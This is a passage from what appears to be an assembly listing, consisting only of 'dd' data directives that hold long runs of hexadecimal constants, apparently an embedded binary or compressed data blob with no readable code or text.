38EB6848h, 94E7E5A0h, 0AD8C2032h, 0E47647CAh, 6D5B54h dd 0ED51D66Bh, 1AAF2A6h, 0DD48BFABh, 0F756EEAAh, 96D487A9h dd 0B3AD5B5Ah, 5A316926h, 8DAA96A2h, 0B735F2D6h, 1B36AF76h dd 6210F308h, 35A5381h, 4DDEADBDh, 0A048F5D7h, 5F5878Fh dd 0EAF6A488h, 464EF4E7h, 4C324377h, 223E1123h, 3C6498CFh dd 3C613C6Ah, 0CA332C63h, 16C68D8Ch, 0A5F180E3h, 37F0D571h dd 0CD3BCC83h, 331766F6h, 0DF05ECD2h, 9D31819Dh, 655D518Fh dd 983736AEh, 9ABF99AFh, 22CB81B5h, 0AA56DEACh, 0E2588055h dd 0B5A96B41h, 0B2845E1Fh, 0BD423517h, 684081A9h, 1809E863h dd 9974A5C3h, 84773F3Dh, 0FD7F063Eh, 0DD07FD0Bh, 31696304h dd 446C4031h, 0AF6CF2B3h, 0F354065Dh, 398FB326h, 0BE619CC4h dd 0DAD9FC65h, 77FC186Ch, 9108BB3Ch, 546829F8h, 703BAE23h dd 366E5F4Ch, 9EB722F7h, 7E780D7Bh, 100EF70Fh, 0ADE03FFDh dd 0F8F572AFh, 0CF387CE6h, 0F9E29B40h, 8C29FE0Ch, 53DB26E0h dd 0F24FE11Fh, 0B757C07Fh, 0F425C10h, 2BE85A21h, 0BCE7C214h dd 518ABC20h, 0F385B7Ch, 18A77A8Bh, 11F9C889h, 0E58A171h dd 8815BD1Fh, 0C7888FFh, 6C517963h, 3A97B52Dh, 4AA4B44Bh dd 8C44A53Dh, 21E914E7h, 48CF6AC4h, 0BFABE1EBh, 4D73AC44h dd 1D3186EAh, 845C3406h, 0D1047D51h, 7BF2DBDAh, 0F2ABD118h dd 1F3A4440h, 7F283F29h, 4D41D28h, 36761935h, 0CEA89D47h dd 15E1204h, 221EFC1Ch, 9FD5AFDFh, 699A8D80h, 3189169Ah dd 53DA05Bh, 1DAFDBBDh, 0CED4BED3h, 3A207F6Bh, 0D4B7A068h dd 35D3E1C3h, 0D34F593Dh, 0B356F0DDh, 17F547F5h, 0C8A350F4h dd 0AB1ED278h, 0BD68F6D5h, 0B3E0B863h, 5020734Ch, 8166D7D5h dd 76960735h, 3ACFB5B3h, 7D687D64h, 2405040Eh, 0B22AE509h dd 0BA335F6Dh, 0B1D34D03h, 4C9D3C74h, 5B0D05DFh, 0E556F04h dd 0AE81756Fh, 66634CBh, 24CC3932h, 0CC75D958h, 0FC18E661h dd 65CC77D4h, 0CC1B0EA6h, 0B33B65B6h, 1EE56023h, 9B429765h dd 7FCBC236h, 105C52CFh, 7385C217h, 0DC59B9E3h, 0EE3BEE22h dd 0ECFE877h, 8B6218FEh, 429DC286h, 7DF1EC38h, 0F97062C2h dd 7088E16Dh, 4FCAF602h, 0D90C0DACh, 0BA216C48h, 14D170C4h dd 8B7789FBh, 0B7E3E013h, 0A7881F88h, 0CBC45FC4h, 0A019AF36h dd 10A95CCBh, 0FC1272D8h, 4DE96AFCh, 0A4DFB058h, 24B2E0ABh dd 59CF80C7h, 5EBCB172h, 56D72D3Eh, 0F0E19562h, 8881936Ch dd 946B2A56h, 95174A7Dh, 7ED5A355h, 3510F4E0h, 0A8871D43h dd 94F55DEBh, 497AB3FAh, 1D11AFADh, 51FB44F9h, 0D235A8BBh dd 80BDE85Bh, 0A9F43291h, 0BBFA53FAh, 0E7FA07FAh, 329D79FAh dd 6206183Ah, 6C625AFh, 0CFA218E3h, 402B8D9Fh, 96CD4DE6h dd 64AC0326h, 370EBB00h, 7362CCD3h, 0FC2F7982h, 0E3E683DDh dd 0C08FF4E0h, 60CCD703h, 55AE7F48h, 2D6B3D6Ah, 0B70356B7h dd 236F819Fh, 0D47E59F3h, 2141A86Ah, 0FF721E3Dh, 35C9FC32h dd 88C6B378h, 5C803E4Fh, 0D8A36137h, 70247638h, 1E7C0529h dd 0CF8AE5C9h, 6D81A388h, 10474856h, 3C82B469h, 0C80795F5h dd 9EE11143h, 5F289791h, 276A7E2Bh, 21335155h, 8BD5E72Fh dd 503555EAh, 8175A76Bh, 0F6D0EFC6h, 0AB3A216Ah, 0BD6F7A9Bh dd 2FA79F50h, 0A65FDC42h, 0FFE4446Fh, 30FC7406h, 7A2BEA22h dd 0AE77FC04h, 0EB188F1h, 0FD03DCFAh, 876E6B5Eh, 1AC3BE35h dd 0CC033D62h, 0BEF59AF7h, 0A3F05D45h, 75AAC902h, 461E883Ah dd 3BA14Fh, 18C60C99h, 87D6C9BFh, 0DB857AA7h, 0CF6B1D02h dd 0F7CEBCB3h, 2F873E7h, 0FC5DE0A0h, 1FD4E87Eh, 0DDC2F3Ch dd 78447A3Dh, 1B120846h, 68BC88h, 6E8BE5B7h, 9F78A271h dd 9FC5C78h, 0F023B076h, 25DD22ADh, 10134BA5h, 0FE95EE41h dd 1D859D21h, 2CBA55FCh, 803726DDh, 39908C35h, 66B5C559h dd 64F205C8h, 38FCBA79h, 0F952E26Ch, 0E9467B55h, 0F94BF93Dh dd 4828F422h, 396A0609h, 19781B0Dh, 3B03A89Ch, 0AD6D4CD8h dd 697443B6h, 0A78861A8h, 8547C0C7h, 38E2B41h, 0FBA6FEF3h dd 1961AC1Bh, 0F68FE013h, 992517C3h, 607BCCA3h, 4B9B16B5h dd 70405DCDh, 3881E197h, 18899E78h, 868EDDABh, 7BCF627Ch dd 0F09753F8h, 8013A057h, 6D107206h, 0D137A6ADh, 0E81FE827h dd 0DC95E8DFh, 0EE06DCCBh, 53E2CE4Bh, 0E69E1BE0h, 0FC7901F7h dd 3DBA1880h, 2421ABD0h, 169FCA43h, 8417C10Eh, 0F2B8498Ah dd 15E89019h, 0FC604EE2h, 62AFE213h, 0E7C2033h, 1A5123B6h dd 731CB05h, 7F00D83Ch, 4EE5CDCh, 695DBE29h, 385374A3h dd 0A3E95225h, 475E528Ch, 44001CD4h, 0ACED4ED6h, 4FAE00F6h dd 0B5D5B354h, 71EAEBEAh, 9B461EB5h, 93697AD5h, 0A3DA69B4h dd 0A76D16DAh, 0A6BB5476h, 678240A5h, 0DFE89FE8h, 0A68D75EAh dd 755C7B46h, 18D031A4h, 6E5E4B04h, 59C88C7Ch, 44CD6336h dd 787E0733h, 1D9D025h, 0CC2208F3h, 0FA41165Ah, 4ACBD5B2h dd 0C222E6B1h, 42A2C8FAh, 187AA9FDh, 113A28FBh, 5A53F9D6h dd 7621A665h, 845CC2DEh, 0F6C06DEDh, 6229B206h, 2AA1030Fh dd 30F70C5Ch, 0CEDB89B7h, 0F1388DBDh, 0EE17EE2Bh, 0F023BE4Eh dd 28E88EBCh, 8FCA1F81h, 0AD879FE2h, 83F9B7Dh, 0F7857ABCh dd 2600EE17h, 0B2AC0C1Bh, 38517840h, 0B2F1E88Ch, 0CFCD0010h dd 0BF133F17h, 6D4B6B17h, 7EE904A5h, 0A54F93E0h, 7F0EB23Ah dd 0C6E22F78h, 0B03DE5D7h dd 0B5CB3F9Ah, 0A9DE3B10h, 4AF12844h, 899E221Ah, 9E54CCAh dd 0F825F7E8h, 1B6AE6BFh, 0BC743BB5h, 96183A9Fh, 4C7D50B4h dd 0A6DD457Dh, 57EEA1BEh, 50FFA88Fh, 5A3AB5FDh, 0B68FAD0Fh dd 80EFB46h, 0A21E8EBFh, 0E8BBD6B7h, 0AC5EFC1Ch, 4A6FF7Dh dd 0BEA4FEFAh, 77ACBF4Ch, 0A012AF05h, 6D99B7E9h, 1BE671CCh dd 0F0B6E3D0h, 0CA2DF35Dh, 2BCF6FE5h, 0FA38F408h, 0CD0AFA35h dd 0ABDE701h, 9D9B545Fh, 0A6872EC1h, 390CC12h, 0B728F3CFh dd 0CFCD7114h, 0CD7C285Ch, 481B3E60h, 0F73D9B74h, 240A2347h dd 0D849E108h, 0CF85D7BCh, 0F62B684h, 2A9C5531h, 691F81EEh dd 692F52Fh, 287C6BC0h, 217D267Dh, 905D93D5h, 1BBE457Dh dd 0F95EEC38h, 0C38CF861h, 9023F4D0h, 304AF3F1h, 920BBCBCh dd 1C2B8E9Dh, 17554EA7h, 8DA9CFABh, 6D58BF61h, 7B41B6BAh dd 3D0C9B57h, 0E397AC5Fh, 1923442Ah, 71A27BBEh, 0F180F19Fh dd 7097A22Eh, 665E80F8h, 2D966209h, 8823AAB8h, 8D5BEA58h dd 5AC04EACh, 0E350B029h, 821FC081h, 0FD6B5E7Fh, 0C8B45D60h dd 0E02EC70Bh, 1BC01B5Ah, 5ADA0574h, 3FA2EF44h, 5FD38FA0h dd 18ED2DD2h, 0D5B0196Fh, 5B840ABh, 21EC83ECh, 0CC1736B6h dd 7066E10Dh, 0F9B3719Fh, 1FA26072h, 885DBF8h, 0E142F7D8h dd 0EBA0200Dh, 9EB12D42h, 44E45CD8h, 0A87D5619h, 2E718598h dd 9BC1A711h, 0DD2F802Eh, 0A9FA4F0Bh, 0A3F885F8h, 6DF88F18h dd 2A5CB4BAh, 11B6EFB7h, 4C04101Bh, 65665DDAh, 0F72DEE59h dd 962A2A03h, 0CA6793EFh, 0B275E4CBh, 9180995Bh, 0AD59407Fh dd 55DE57ACh, 0DCF5011Ah, 0A66885AEh, 0AD3B5436h, 46411A05h dd 8D8D1B0h, 0DD1A3A33h, 88D19630h, 0FE373F73h, 99B32830h dd 8F223B79h, 0CB3B5696h, 0C95BFAB4h, 2EEB60D6h, 0EB2AF75Ch dd 5CDC8B7Bh, 6F3908B8h, 0B9D1C74Bh, 6C5D3E74h, 9063E55Bh dd 338833F8h, 88869802h, 961DC832h, 98C30C2Eh, 98C324C0h dd 9984A642h, 841C1E0Fh, 0A3663EC5h, 7B2F8211h, 0A7D8F3B0h dd 7ECB5D9h, 34F649ECh, 9D7B27FBh, 0E0EEE40Dh, 38DD73DAh dd 9EB95396h, 0B9221C5Ch, 37065CA1h, 3E0C7B97h, 0FE701971h dd 0ADD0583Ah, 31DCBBDCh, 0BB6204EEh, 5F9BBC26h, 0F06AFC8h dd 0F02FE7BFh, 42D6844Dh, 1EBBA218h, 42E82482h, 893E300Ch dd 0D216EF86h, 91423185h, 2A984130h, 141E16CCh, 3D44871Eh dd 5AB9C407h, 156C20D8h, 0BE9FC276h, 1C287C2Bh, 4AFD4787h dd 0C05101F8h, 6D408C65h, 4403408Ch, 0CEC5ED85h, 312C0462h dd 0C4833341h, 38AC715Ch, 7C587C4Eh, 5C527C4Ch, 957A5882h dd 8DC46B8h, 0F8BAFB7Fh, 744FB896h, 532C2249h, 5A5E3482h dd 2D253D24h, 2BD9A205h, 93DE901Dh, 0BF2F418Eh, 80BE9D84h dd 0D0ABA31h, 0C89B910Dh, 0D641643Dh, 0E4733E30h, 0FE5DB615h dd 1D0E6E49h, 8DBCABEDh, 111D2198h, 69F50CF6h, 0A1DD4CB5h dd 51DF51EEh, 0D5D7A8CFh, 56A46D04h, 9A2295A8h, 0A79B4FBCh dd 2195A63Dh, 75ADDCA6h, 0DE780DD4h, 0EE218801h, 0D64E4E86h dd 0CB1F4097h, 835F4781h, 7F477ABFh, 3F48FF4Fh, 7FD19FA5h dd 0EDEBAFD4h, 3064E8Ch, 48D23A7Ch, 854F8487h, 3C6F9F35h dd 0DCDCAF0Bh, 9AE6656Ch, 0CC0B9A8Fh, 21E5B053h, 6023C588h dd 95AFAD1h, 0ACC3A040h, 1E288891h, 92F14446h, 7C4481B5h dd 0AA64FE89h, 0D8816A90h, 1E7E84B2h, 0EE9D7E23h, 9915F18Eh dd 5BC18831h, 0B02B0CB2h, 0BD9A3B3Ah, 3EC99D8Fh, 0E886BEC5h dd 6C473E0h, 5CD6B82Dh, 8B314618h, 0DCDCE3CBh, 7CFBE824h dd 0E38C05EEh, 5869DC67h, 98C04BBDh, 65E79E2Eh, 2087E4DEh dd 0FA10784Eh, 0C5CF95B0h, 0A8C5ECE8h, 10EE165Ch, 1C413155h dd 9460988Ch, 174E2C58h, 0CBF781E7h, 0F1C273C1h, 0D707F0D3h dd 8EA97F44h, 479ED4D4h, 4846928Bh, 0E854D2D9h, 86F097C4h dd 7509E06Dh, 209CA7B9h, 160B4367h, 1DE44BCAh, 55B4A532h dd 49412564h, 192B0652h, 0A8F29E4Ah, 56ECAE52h, 1F6621EAh dd 0AAE7AE00h, 0BE06C10Fh, 0D70F5E0Ch, 25E5C0D2h, 43ED66DAh dd 57ED0BEDh, 5F5E96ADh, 0D51FA7DFh, 8CB5E84Fh, 0A30F4626h dd 7CC7399Eh, 3668BCD2h, 8177FD84h, 0A3F43C67h, 8D64958Fh dd 22ACB2B0h, 0CB35926Bh, 6C5AC47Ah, 0F89F00BDh, 7ACBB5AAh dd 0D40A3AC7h, 2F22DD78h, 0A0B82421h, 0D102DD09h, 39A5772h dd 0DF441C6Ah, 4FEC688Dh, 9942629Ah, 6C9DEC86h, 7B077627h dd 32E21E00h, 105A175Bh, 0DEF3A36Eh, 0B8B37588h, 4DEE031h dd 0C0D3C0E8h, 9F001FE9h, 0CAFDC57Fh, 2A18F031h, 3F01687Ch dd 0E8815F9Bh, 0DFF3F6Ah, 1F0AE0F4h, 682742Ch, 0BAC22144h dd 2AFBB10Bh, 0A6F09B61h, 1DF90710h, 5D89E621h, 0E4338121h dd 757121EFh, 0ABA55095h, 0BA4620C2h, 0FF03A95Bh, 871F56E8h dd 0D211FC75h, 8AEB54D6h, 9B5527E8h, 590C3DA0h, 0AE5B427Bh dd 825DACBDh, 37AFA80Fh, 0E1123A04h, 99F47329h, 9FD7CFAh dd 0DC4869FDh, 173F447Ah, 32E1480h, 0CD1A05F5h, 0F5920D0Ch dd 0D66C91BBh, 6D589AB1h, 0D2B68ADh, 0E2336336h, 14171B18h dd 0D1DB93F9h, 95DD3054h, 66ACCDE9h, 81FC036h, 3F6E66ECh dd 0DD3C31FFh, 7A2EBE35h, 0CFEEC2AEh, 1AE2DC11h, 0D253F6D8h dd 79EEB057h, 0E43332C0h, 796AF2F9h, 0FE809C93h, 84EF5636h dd 5570F5Fh, 8C28F5D8h, 0D36060DDh, 0D44FD48Fh, 85AD1AAEh dd 0E7B031EAh, 3E5E803Bh, 31D7EC87h, 0AC623042h, 310C6311h dd 0F0318D32h, 0D2DBF74Fh, 0ADE21CFEh, 0E693CDF7h, 7FEAB097h dd 6FAAEA22h, 5B9AB635h, 0C8E961ADh, 55B4699Ch, 0ED663D62h dd 0C8B1BEB4h, 0A0CF29DBh, 47E863BFh, 0A65FEB80h, 22AFD1D7h dd 3E877AE6h, 16AB788Ch, 0C0698F53h, 93344CF0h, 8B3114C1h dd 0DF07BBEDh, 699E732h, 0D9239888h, 33A34081h, 60EF2711h dd 0E0EF657Fh, 9DEFF05Ch, 2BFCBEF9h, 0F39F54B0h, 6100F8E7h dd 6532C00h, 6164D2ECh, 0C84670AEh, 0E100A712h, 62024A85h dd 48D201DCh, 0EEF81F29h, 0B4A5693Eh, 5DDB605h, 0A3016E7Bh dd 3DF66BFh, 22CA7ECh, 0F1147B72h, 0A57532EAh, 1B7D59BAh dd 0F551CF91h, 0F1AE1A84h, 88B1E7B0h, 9586EF59h, 0D71DA9D8h dd 0F998C7BEh, 5A75EDEBh, 86D824Fh, 13B4F84h, 0CCB531Ch dd 0AA993B31h, 310E6719h, 0B67EB4BFh, 65E45B2Eh, 0AF7DBA98h dd 0CEE882Fh, 0FE8B35DFh, 75C3F689h, 639E620Dh, 0D8FC65DEh dd 0EE9EB8C6h, 76682F6Ch, 3ECF9B0Eh, 31FD6B02h, 0E78D817Bh dd 93D1A0D2h, 0CDA1C7B8h, 0DF93606Bh, 0BEE63EE2h, 82D2C441h dd 4317CAEFh, 37E45F8Fh, 84A7D623h, 0A6CF096h, 0B021C422h dd 7F8447BEh, 165DD700h, 25B3C11Ah, 0A6B0198Bh, 53F7DB4Fh dd 3FDAE10Fh, 0C3496B17h, 37A427A5h, 94B093A4h, 0BDB7F414h dd 2783434Ch, 55E573C8h, 0EEC05BF2h, 25196244h, 0A5662815h dd 5D7E0C72h, 84753550h, 0F29610BAh, 0E003F565h, 80CD3F3Ah dd 0D6D72F4Fh, 9910476Ah, 0ABA6025Ch, 0A08F8883h, 4F3D6496h dd 7D58859Fh, 0DF49BEB5h, 147F240Eh, 0FD6BF176h, 95A3A412h dd 3588D6D1h, 0DFB511E2h, 0A2F88B05h, 0D378D3B1h, 8FC6A38h dd 51BBF8CBh, 58826CC7h, 364E6DDDh, 0FFE70267h, 0BA19AF68h dd 72B18ADDh, 5A371160h, 0EC5FACC7h, 727F3039h, 0B1360C8Bh dd 5E9BDD07h, 0DF806F45h, 9DFE9F7Fh, 3314C91Eh, 0FBA43CFh dd 235A2242h, 6D997BC6h, 71E4B887h, 577176Eh, 2F9FD092h dd 0EBF017E2h, 0B7FC43F8h dd 0C1C8177Ch, 345F003h, 118F8DC1h, 0CA039DB7h, 6744056Fh dd 0B34B6E20h, 64C09EFh, 6D205BB6h, 93C1F695h, 27A965Ch dd 7994CCE5h, 2995B25h, 0B2A4FE8Fh, 0F944F944h, 39099956h dd 8B7EA138h, 0B01EA658h, 1A2D0F4Dh, 5B5CBE28h, 4FBB7407h dd 0A8BC1CFBh, 83B7C88Fh, 0D28F43DEh, 0B5831183h, 0AC9BBB35h dd 0C6D103A9h, 9B460A43h, 4D891063h, 0F39B6731h, 19A027CCh dd 0E6F5CD2Bh, 77FBA056h, 21A10FCCh, 0E01798DFh, 21A10219h dd 1ECDA0CDh, 1ADBD75Bh, 32B70D68h, 826B02ACh, 116828Dh dd 27839507h, 0D6BDADDBh, 5F6CC461h, 2310E758h, 59FC275Fh dd 0E9DE4FEFh, 1BA1D54Ah, 8EE8ADD2h, 474292E0h, 441E5623h dd 706E028Fh, 39E953D3h, 0A69E0D88h, 806BD397h, 0B3417711h dd 7E72208Eh, 9CCAD98Ah, 0AE617E64h, 8B58B530h, 2BA9061Dh dd 5BD1E81h, 0F8197094h, 81D705A0h, 0E069C2EBh, 0C1902A67h dd 6E58DC3Dh, 0B712F726h, 5C23B93h, 25F0C1F2h, 4031F26h dd 759EC63Dh, 0CC5F8C7Ah, 257E52Fh, 7D846C21h, 88FF937Ch dd 13FF89FFh, 0A000C691h, 52C2D982h, 0BB0BD61h, 783BFA78h dd 0EE843FFDh, 35A40EA2h, 21C6B115h, 0DA7A9791h, 887E1333h dd 3CA7A2Dh, 16F221E5h, 88F91DF9h, 293E4C7Ch, 979F2D7Fh dd 0D497C12Fh, 2D291A55h, 0DBF00E95h, 0D12BA2A2h, 10657F4Ah dd 328E692Ch, 0F3D946D6h, 52CA8594h, 4EB29565h, 0A9BCAAD9h dd 0B51CA3BCh, 3CFD167h, 5D6A5379h, 695011B5h, 31023507h dd 4E354F57h, 470EA81Dh, 8EA79D84h, 0CFABA757h, 1F794622h dd 0B555E971h, 0C6A7768Eh, 78B53D69h, 0E36B46Dh, 630028FEh dd 85FE94F8h, 0CD380CDEh, 23A6CC80h, 3C639936h, 64456C61h dd 0C97185F6h, 0CC14DDB8h, 0BC2F7374h, 0B0696312h, 2A310B60h dd 0A1AFAD27h, 0F22C97E3h, 3F725B82h, 8CDD2EBFh, 0C1774D6Eh dd 41B44838h, 0E97DD0C7h, 905AF681h, 3D0C7A0Ch, 0DF409E96h dd 1FA6CF4Bh, 9FA71FA2h, 0CBC88C2h, 1F4BDE69h, 0A6043FA2h dd 10BB473Bh, 144C0B6Bh, 66498FD3h, 32C661EEh, 984B300Fh dd 0C74E3197h, 67307F98h, 0EDCC0B99h, 301D5EF0h, 44D97D5Ah dd 63CD8B36h, 0B02FB1A7h, 317BB2AFh, 5FB29F66h, 57B13FB2h dd 81393BD8h, 0E1CDC3EBh, 0BFEF0216h, 87E035CEh, 0C199CA21h dd 0BBF445CFh, 3F09A17h, 8453092Fh, 0E5FAC019h, 0AB0CBC2h dd 0EDF00EFh, 0E691EE93h, 5D482F4Ah, 794DED81h, 0EC377DBCh dd 0F8077CB4h, 0C3CAF9Dh, 0ECA4BEFEh, 0CE523E54h, 0CF11F529h dd 755F6AF3h, 3D37028h, 0AA6F62F0h, 0BE116007h, 7783BB51h dd 6D62B443h, 0F6BF76A2h, 0D683F695h, 0C480B60Eh, 0B7E00B2Dh dd 5D6FC396h, 63E80D80h, 636E19E4h, 0E8C0B196h, 33204D0Fh dd 0D1106B11h, 998F31EFh, 9BBF985Fh, 8FED202Dh, 0C3E05B5Bh dd 522E124Fh, 6A7F11D4h, 69891F84h, 4E923A34h, 0FB0347A6h dd 3FD203EEh, 43A25F45h, 224CA698h, 41E4C693h, 5E619FF7h dd 2F843E63h, 1B12F720h, 9E58EDB3h, 0CCFD858Dh, 3F039F66h dd 0DC1EB902h, 0F720EE64h, 525EC39h, 0F7858D69h, 0FBEC67Eh dd 0F0B11BB6h, 0D096BE11h, 5F801042h, 85A30887h, 7EE4707Ch dd 0B2F0A161h, 3768E2BDh, 422BBF22h, 950B03Ch, 409BD010h dd 84886140h, 4996971Fh, 0E1D60DBh, 54FA1A21h, 2D7D2D3Ah dd 23052EFDh, 7958A1Eh, 61F36E40h, 8FC8E741h, 0ADE54BCAh dd 0E59FDD90h, 0A540E53Fh, 690B129Eh, 0F0888E1Dh, 0F281653Eh dd 0B29AF294h, 320B7943h, 5AF95A7Ah, 0A8B941F9h, 0EE555Ch dd 9CABBB47h, 651E12DAh, 0B60F56A9h, 0BBF5223h, 0FD7DE818h dd 0DEBDFEA4h, 646CE8C0h, 0C6C56F81h, 0F05EE304h, 0E0484DEEh dd 0B3C1907Bh, 1A7F9CB0h, 0B36D66FEh, 944C3C1Bh, 364CC7D9h dd 1E662147h, 0D3A1B07h, 0F9BE65F6h, 0DCCAB9ACh, 0DF37EE61h dd 0B7F15583h, 9A5606EEh, 0DD87AD66h, 0D4073320h, 15AA7F29h dd 7749CB59h, 0CC86DFA2h, 31B49029h, 209E1988h, 0E0BAE72Fh dd 52DD6E4Fh, 864AE029h, 942390h, 0E782CFCDh, 62C285Ch dd 36172C56h, 3D845B09h, 0A8E17EC2h, 8CFE38Dh, 0AE67E0E7h dd 7C501408h, 744AD8A8h, 1A44DD89h, 8C53DDDAh, 82811317h dd 40398946h, 4E22542h, 57389671h, 162E285Ch, 94F3D857h dd 0EE5B105Bh, 14757C47h, 0C4B13571h, 222BC417h, 413C0B05h dd 82CD269Ah, 0E693CE24h, 0C5A50B4Bh, 7C7012D2h, 0D5AEE205h dd 0E09BF8C0h, 0BB4877A3h, 7ED23DA4h, 4474A0E9h, 0B71D2A3Ah dd 2019CB71h, 64F073FEh, 0D24BA517h, 0EC31A915h, 98C7B48h dd 53DE5F0Fh, 11E3918Eh, 47910FA5h, 8E7219C8h, 5A11825Ch dd 0DD039721h, 0D9BE07ACh, 0BBA9C02h, 0F97EFBB1h, 51CDEC20h dd 99FCB8F9h, 0ECD10A7Ch, 7C9CF959h, 0CB08BE41h, 27B60573h dd 1EA04810h, 0A5635BF0h, 714AD2B9h, 7095ED29h, 3C29BA5h dd 0F8C05EDDh, 0C0AE525Dh, 944734CAh, 0F4BEC3A7h, 25A94751h dd 2E752CEAh, 0BAB9657Ch, 0C82A8EC9h, 0D847AD0Bh, 0E8834D6Bh dd 0DD28747Ah, 0FB0E6E98h, 0D3DBA2ECh, 7D0AB0E1h, 853A44E8h dd 808F421Eh, 73A0CE95h, 8BA3CE8h, 3D027F88h, 74069E85h dd 79E9730h, 5E90BD9Bh, 8CBAE40Ch, 0D397415Eh, 0F4F5E9ABh dd 33DBDA26h, 0E7B00E8Ah, 12948B46h, 0F17C3F65h, 0ED33ED51h dd 3B567694h, 27845DA7h, 0BD40F4A2h, 37AA1E9Eh, 9B015BD7h dd 0F09D0384h, 0D4F7AEBAh, 7AF1E8FBh, 1F443E8Ah, 0A7997405h dd 0F413E917h, 73D9F029h, 3A173281h, 0DEF10D71h, 0FA5DF45Bh dd 7EA0FD1Eh, 33EEF804h, 0D0B3BBE0h, 15FA8BE1h, 0A320CF20h dd 0E6D8621Eh, 8F68CB86h, 64369628h, 0DF51B743h, 92032328h dd 9D49045Ah, 0B9D4902h, 58D0BF2Fh, 0CA332C62h, 26C6D58Dh dd 0CBB18B63h, 341C63D8h, 8DC7188Eh, 90338CCFh, 45C60BE0h dd 0DF620AE3h, 0D99EB320h, 0BA6E6CD8h, 99BA0180h, 5FC329B4h dd 13A240C6h, 847314CDh, 6679D52Dh, 72013989h, 737E0B3Dh dd 5CD8B9BEh, 2663AF62h, 1AC998ABh, 9982B266h, 0AB265FACh dd 65DAC997h, 0AC9972B2h, 0D2050E5Bh, 21A8856Ch, 5F06EADCh dd 813D5B2Ah, 44ADE228h, 87A2086Bh, 228B600Ch, 0D029EE58h dd 3CD6B98Ah, 0D6C5F058h, 0E2056B32h, 41B0F588h, 403DAC3Bh dd 4D1047D1h, 0EC68867Ch, 45EC7C2Ch, 19EA4D8Fh, 53216D40h dd 3DA0746Eh, 0C9246496h, 4F34D238h, 8C4F74EBh, 9A3DBC66h dd 48C92C64h, 0A3247192h, 8C90C648h, 373DB960h, 77DE05B7h dd 0FE107D0Fh, 19FD38F7h, 0FC2CEFB4h, 104C530h, 9A6636E3h dd 3DA62E33h, 19A18DD3h, 0CD11D199h, 35FF9F7h, 86217396h dd 86098631h, 0AED2C019h, 9803B0C4h, 0AE18174Bh, 0EF60CF00h dd 0EC003C30h, 0BC319E0Dh, 58037860h, 0FC31BC2Fh, 90C3F862h dd 88C588C1h, 0E8C048C7h, 6DB00Ah, 0A013FB72h, 87C019EBh dd 0A9002BA8h, 5CCC2316h, 0D41CC3B5h, 50666057h, 72BAD01h dd 3800ACC6h, 0B1C0656Eh, 5F8E01ABh, 0BB073B05h, 3EF85E81h dd 28C1460Ah, 60A30518h, 51828C14h, 0C1460A30h, 0A3051828h dd 828C1460h, 323051h, 0B8DD1300h, 0E5h, 100h, 2A000100h dd 618Ch, 1446h, 1CEDDA78h, 575C6F4Bh, 50AD38F9h, 0AAAA0155h dd 0BA8550Ah, 23B10A27h, 2D36D3B9h, 422A656Dh, 4929A55Eh dd 51B71C88h, 9EBA4210h, 190F63B9h, 76330CCFh, 2AA8B35Ch dd 562B1084h, 0C5620588h, 80BF1582h, 15813F05h, 588560Bh dd 1F82CD62h, 0E3DF39C0h, 1E77DF7Eh, 0A49D8EF7h, 4E468480h dd 0F1E73BECh, 3AFDEF9Dh, 0F33B3F7h, 0BA1DD4DCh, 0B755BB9h dd 0E7FEC77h, 0FDF6ED5Ch, 0F6377D5Fh, 43DDF4DFh, 66E57BFFh dd 0FFFB53FEh, 0AAC47EE7h, 0FFF5331Fh, 1FBFF9EEh, 6EABA7F9h dd 0BB5BFFC7h, 0FB51AC09h, 0A93C36Fh, 0DFF86EE6h, 0C2F47E67h dd 0E9FE467Fh, 0EAB1EFD8h, 0AAC09B7Fh, 0ED01EFF8h, 0B8998339h dd 193FC0F6h, 6CF88EC2h, 0AB09F60Fh, 91DA01F7h, 0C09C767Fh dd 0C315853Ch, 39C011E8h, 6EA723F3h, 0F95BFFD7h, 0C9FE7BEFh dd 58410F5Dh, 0F5EB0175h, 0FF73B7FDh, 7D86AB09h, 0C5C0978Eh dd 8536400Eh, 0B9AF6159h, 0B3CE191Fh, 0F73EC0DBh, 11C1B46Bh dd 7FEBBCCEh, 0D300ACC2h, 0DE9EBF4Dh, 0F386EF5Bh, 0D3889C2Dh dd 0FF131CF8h, 60E7454Dh, 0C57E557Ch, 0D614FBF0h, 653EC29Dh dd 2E3486A8h, 9380B5C0h, 237AC21Dh, 0E0D17D58h, 672342D7h dd 0F86B75E7h, 875AD716h, 0EBF83371h, 0EE680h, 37B9AFB6h dd 0FE7F45DCh, 0F75DF76Dh, 21EBC01Dh, 71EE0270h, 0FB1AD7E4h dd 157BE20Fh, 0FE02ABB8h, 0E67CFDA9h, 7306B0A0h, 0F0379845h dd 0F3E0F7BFh, 0DA02DB82h, 8069E08Dh, 7DE56B68h, 0A2E52982h dd 7C85FC19h, 8D9FFB5Ah, 6C093C56h, 40FCFF13h, 0E608FC51h dd 3557898Ch, 0C2180507h, 0A7FD7709h, 88AA2926h, 63C22A87h dd 4794A590h, 94C2B0E7h, 304F0D24h, 1F18C800h, 0F6DA3E5Ah dd 0FBBCF27Ch, 43DA877Dh, 0C9A402EBh, 0EC7DFFC0h, 34F0BFA9h dd 8728055Eh, 0AEA42980h, 0FE4B3AF0h, 39FD614h, 67FA1E35h dd 0AFF57EC7h, 0E1A8BE78h, 89F70DC9h, 0B802331Fh, 0E2D3EE07h dd 0B38087AEh, 3F75D774h, 0CD7B086Eh, 3402D9CDh, 93D8C35h dd 0B3CF435Ch, 7099A47Bh, 0CA83E61Dh, 0FFF23CFFh, 0C0F3FD8Eh dd 0FFFBEFA5h, 94D7713Fh, 311AF33Ch, 0F680F95h, 0B9BFDD8Dh dd 87F7FEDBh, 0A243D944h, 5313D69Ah, 4E90F180h, 0CB006B6h dd 0F49AB200h, 1ED600EBh, 0E2B571F9h, 209F54B8h, 0D2484D07h dd 96EAA634h, 85472073h, 4AB047A7h, 372147EDh, 134E98Fh dd 0EDE25DA2h, 7865C349h, 0C9FB9E86h, 80EC36CAh, 0F8D11D50h dd 2D10E08Ah, 7938D792h, 0A0979D6Dh, 69963F1Dh, 8C4158C4h dd 9A4FC723h, 96B3D355h, 0C0E6B5B5h, 0EC39F540h, 775803Ah dd 6FC25DC4h, 9ADBD7A7h, 0C340F716h, 2AEE688Ch, 0F7B0B9E8h dd 1B6EE03Eh, 0B8F639CEh, 0C21EB30Ch, 15EBD633h, 0EC05E159h dd 42BF138h, 0E06BF37Dh, 0A663E466h, 2D71EB2Ah, 0F9EB7975h dd 54EACE4h, 0C87B5472h, 0EE7B2E59h, 9DE4AE9Bh, 88AF11ECh dd 47961E7h, 9C5BBE21h, 1B53A81Fh, 